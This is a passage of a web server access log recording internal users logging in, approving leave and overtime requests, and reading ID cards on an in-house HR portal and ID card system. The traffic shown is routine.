/eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D132679%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A132679&target=iframe HTTP/1.1" 302 - 192.168.11.60 - - [02/Dec/2025:10:54:35 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10225 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [02/Dec/2025:10:54:35 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10225 192.168.11.60 - - [02/Dec/2025:10:54:38 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%B0%BD HTTP/1.1" 200 140726 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [02/Dec/2025:10:54:38 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%B0%BD HTTP/1.1" 200 140726 192.168.11.60 - - [02/Dec/2025:10:54:38 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%B0%BD HTTP/1.1" 200 538091 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [02/Dec/2025:10:54:38 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%B0%BD HTTP/1.1" 200 538091 192.168.11.60 - - [02/Dec/2025:10:55:15 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%B0%BD HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%B0%BD" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [02/Dec/2025:10:55:15 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%B0%BD HTTP/1.1" 302 - 192.168.11.60 - - [02/Dec/2025:10:55:19 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220 "http://192.168.1.83:8088/eHR/ess/index.php?lang=ZHT" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [02/Dec/2025:10:55:19 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220 192.168.11.60 - - [02/Dec/2025:10:55:20 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D132680%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A132680&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%B0%BD" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [02/Dec/2025:10:55:20 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D132680%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A132680&target=iframe HTTP/1.1" 302 - 192.168.11.60 - - [02/Dec/2025:10:55:20 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 9921 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [02/Dec/2025:10:55:20 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 9921 192.168.11.60 - - [02/Dec/2025:10:59:48 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 9921 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [02/Dec/2025:10:59:48 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 9921 192.168.11.60 - - [02/Dec/2025:10:59:50 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 9921 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [02/Dec/2025:10:59:50 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 9921 192.168.11.60 - - [02/Dec/2025:10:59:52 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 9921 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [02/Dec/2025:10:59:52 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 9921 192.168.11.60 - - [02/Dec/2025:10:59:54 +0800] "GET /eHR/ess/index.php?lang=ZHT HTTP/1.1" 200 8829 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [02/Dec/2025:10:59:54 +0800] "GET /eHR/ess/index.php?lang=ZHT HTTP/1.1" 200 8829 192.168.11.60 - - [02/Dec/2025:11:00:54 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?lang=ZHT" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [02/Dec/2025:11:00:54 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.11.60 - - [02/Dec/2025:11:00:59 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220 "http://192.168.1.83:8088/eHR/ess/index.php?lang=ZHT" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [02/Dec/2025:11:00:59 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220 192.168.11.60 - - [02/Dec/2025:11:01:00 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10436 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [02/Dec/2025:11:01:00 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10436 192.168.11.60 - - [02/Dec/2025:11:04:44 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AB%8B%E5%81%87%E5%BE%85%E7%B0%BD HTTP/1.1" 200 57967 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [02/Dec/2025:11:04:44 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AB%8B%E5%81%87%E5%BE%85%E7%B0%BD HTTP/1.1" 200 57967 192.168.11.60 - - [02/Dec/2025:11:04:44 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AB%8B%E5%81%87%E5%BE%85%E7%B0%BD HTTP/1.1" 200 214002 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [02/Dec/2025:11:04:44 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AB%8B%E5%81%87%E5%BE%85%E7%B0%BD HTTP/1.1" 200 214002 192.168.11.146 - - [02/Dec/2025:11:04:57 +0800] "GET /idcard/ess/redirect.php HTTP/1.1" 302 121 192.168.11.146 - - [02/Dec/2025:11:04:57 +0800] "GET /idcard/ess/redirect.php HTTP/1.1" 302 121 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [02/Dec/2025:11:04:58 +0800] "GET /idcard/ess/index.php?action=logout HTTP/1.1" 200 11477 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [02/Dec/2025:11:04:58 +0800] "GET /idcard/ess/index.php?action=logout HTTP/1.1" 200 11477 192.168.11.60 - - [02/Dec/2025:11:04:57 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AB%8B%E5%81%87%E5%BE%85%E7%B0%BD HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AB%8B%E5%81%87%E5%BE%85%E7%B0%BD" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [02/Dec/2025:11:04:57 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AB%8B%E5%81%87%E5%BE%85%E7%B0%BD HTTP/1.1" 302 - 192.168.11.60 - - [02/Dec/2025:11:04:58 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220 "http://192.168.1.83:8088/eHR/ess/index.php?lang=ZHT" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [02/Dec/2025:11:04:58 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220 192.168.11.60 - - [02/Dec/2025:11:04:59 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH101%26requestno%3D132681%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A132681&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AB%8B%E5%81%87%E5%BE%85%E7%B0%BD" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [02/Dec/2025:11:04:59 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH101%26requestno%3D132681%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A132681&target=iframe HTTP/1.1" 302 - 192.168.11.60 - - [02/Dec/2025:11:05:00 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10225 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [02/Dec/2025:11:05:00 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10225 192.168.11.146 - - [02/Dec/2025:11:05:02 +0800] "GET /idcard/ess/index.php?lang=ZHT HTTP/1.1" 200 11480 "http://192.168.1.83:8088/idcard/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [02/Dec/2025:11:05:02 +0800] "GET /idcard/ess/index.php?lang=ZHT HTTP/1.1" 200 11480 192.168.11.146 - - [02/Dec/2025:11:05:04 +0800] "POST /idcard/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/idcard/ess/index.php?lang=ZHT" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [02/Dec/2025:11:05:04 +0800] "POST /idcard/ess/includes/login.php HTTP/1.1" 302 - 192.168.11.146 - - [02/Dec/2025:11:05:10 +0800] "GET /idcard/ess/redirect.php HTTP/1.1" 200 6088 "http://192.168.1.83:8088/idcard/ess/index.php?lang=ZHT" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [02/Dec/2025:11:05:10 +0800] "GET /idcard/ess/redirect.php HTTP/1.1" 200 6088 192.168.11.146 - - [02/Dec/2025:11:05:10 +0800] "POST /idcard/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/idcard/ess/index.php?lang=ZHT" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [02/Dec/2025:11:05:10 +0800] "POST /idcard/ess/includes/login.php HTTP/1.1" 302 - 192.168.11.146 - - [02/Dec/2025:11:05:16 +0800] "GET /idcard/ess/redirect.php HTTP/1.1" 200 6088 "http://192.168.1.83:8088/idcard/ess/index.php?lang=ZHT" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [02/Dec/2025:11:05:16 +0800] "GET /idcard/ess/redirect.php HTTP/1.1" 200 6088 192.168.11.146 - - [02/Dec/2025:11:05:18 +0800] "GET /idcard/ess/redirect.php?scriptname=IDRA001 HTTP/1.1" 200 50934 "http://192.168.1.83:8088/idcard/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [02/Dec/2025:11:05:18 +0800] "GET /idcard/ess/redirect.php?scriptname=IDRA001 HTTP/1.1" 200 50934 192.168.11.146 - - [02/Dec/2025:11:05:21 +0800] "POST /idcard/ess/redirect.php?scriptname=new_emp HTTP/1.1" 200 52 "http://192.168.1.83:8088/idcard/ess/redirect.php?scriptname=IDRA001" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [02/Dec/2025:11:05:21 +0800] "POST /idcard/ess/redirect.php?scriptname=new_emp HTTP/1.1" 200 52 192.168.11.60 - - [02/Dec/2025:11:06:22 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%B0%BD HTTP/1.1" 200 49846 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [02/Dec/2025:11:06:22 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%B0%BD HTTP/1.1" 200 49846 192.168.11.60 - - [02/Dec/2025:11:06:22 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%B0%BD HTTP/1.1" 200 591530 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [02/Dec/2025:11:06:22 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%B0%BD HTTP/1.1" 200 591530 192.168.11.60 - - [02/Dec/2025:11:06:34 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%B0%BD HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%B0%BD" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [02/Dec/2025:11:06:34 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%B0%BD HTTP/1.1" 302 - 192.168.11.60 - - [02/Dec/2025:11:06:37 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220 "http://192.168.1.83:8088/eHR/ess/index.php?lang=ZHT" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [02/Dec/2025:11:06:37 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220 192.168.11.60 - - [02/Dec/2025:11:06:40 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D132682%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A132682&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%B0%BD" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [02/Dec/2025:11:06:40 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D132682%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A132682&target=iframe HTTP/1.1" 302 - 192.168.11.60 - - [02/Dec/2025:11:06:41 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 9921 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [02/Dec/2025:11:06:41 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 9921 192.168.11.60 - - [02/Dec/2025:11:06:44 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 9921 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [02/Dec/2025:11:06:44 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 9921 192.168.11.60 - - [02/Dec/2025:11:06:46 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 9921 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [02/Dec/2025:11:06:46 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 9921 192.168.11.60 - - [02/Dec/2025:11:06:48 +0800] "GET /eHR/ess/index.php?lang=ZHT HTTP/1.1" 200 8829 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [02/Dec/2025:11:06:48 +0800] "GET /eHR/ess/index.php?lang=ZHT HTTP/1.1" 200 8829 192.168.11.146 - - [02/Dec/2025:11:07:10 +0800] "POST /idcard/ess/redirect.php?scriptname=new_emp HTTP/1.1" 200 - "http://192.168.1.83:8088/idcard/ess/redirect.php?scriptname=IDRA001" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [02/Dec/2025:11:07:10 +0800] "POST /idcard/ess/redirect.php?scriptname=new_emp HTTP/1.1" 200 - 192.168.11.60 - - [02/Dec/2025:11:07:05 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?lang=ZHT" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [02/Dec/2025:11:07:05 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.11.146 - - [02/Dec/2025:11:07:10 +0800] "POST /idcard/ess/redirect.php?scriptname=card_read HTTP/1.1" 200 136 "http://192.168.1.83:8088/idcard/ess/redirect.php?scriptname=IDRA001" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [02/Dec/2025:11:07:10 +0800] "POST /idcard/ess/redirect.php?scriptname=card_read HTTP/1.1" 200 136 192.168.11.60 - - [02/Dec/2025:11:07:10 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220 "http://192.168.1.83:8088/eHR/ess/index.php?lang=ZHT" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [02/Dec/2025:11:07:10 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220 192.168.11.60 - - [02/Dec/2025:11:07:12 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10437 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [02/Dec/2025:11:07:12 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10437 192.168.11.60 - - [02/Dec/2025:11:07:15 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AB%8B%E5%81%87%E5%BE%85%E7%B0%BD HTTP/1.1" 200 49604 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [02/Dec/2025:11:07:15 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AB%8B%E5%81%87%E5%BE%85%E7%B0%BD HTTP/1.1" 200 49604 192.168.11.146 - - [02/Dec/2025:11:07:22 +0800] "POST /idcard/ess/redirect.php?scriptname=new_emp HTTP/1.1" 200 52 "http://192.168.1.83:8088/idcard/ess/redirect.php?scriptname=IDRA001" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [02/Dec/2025:11:07:22 +0800] "POST 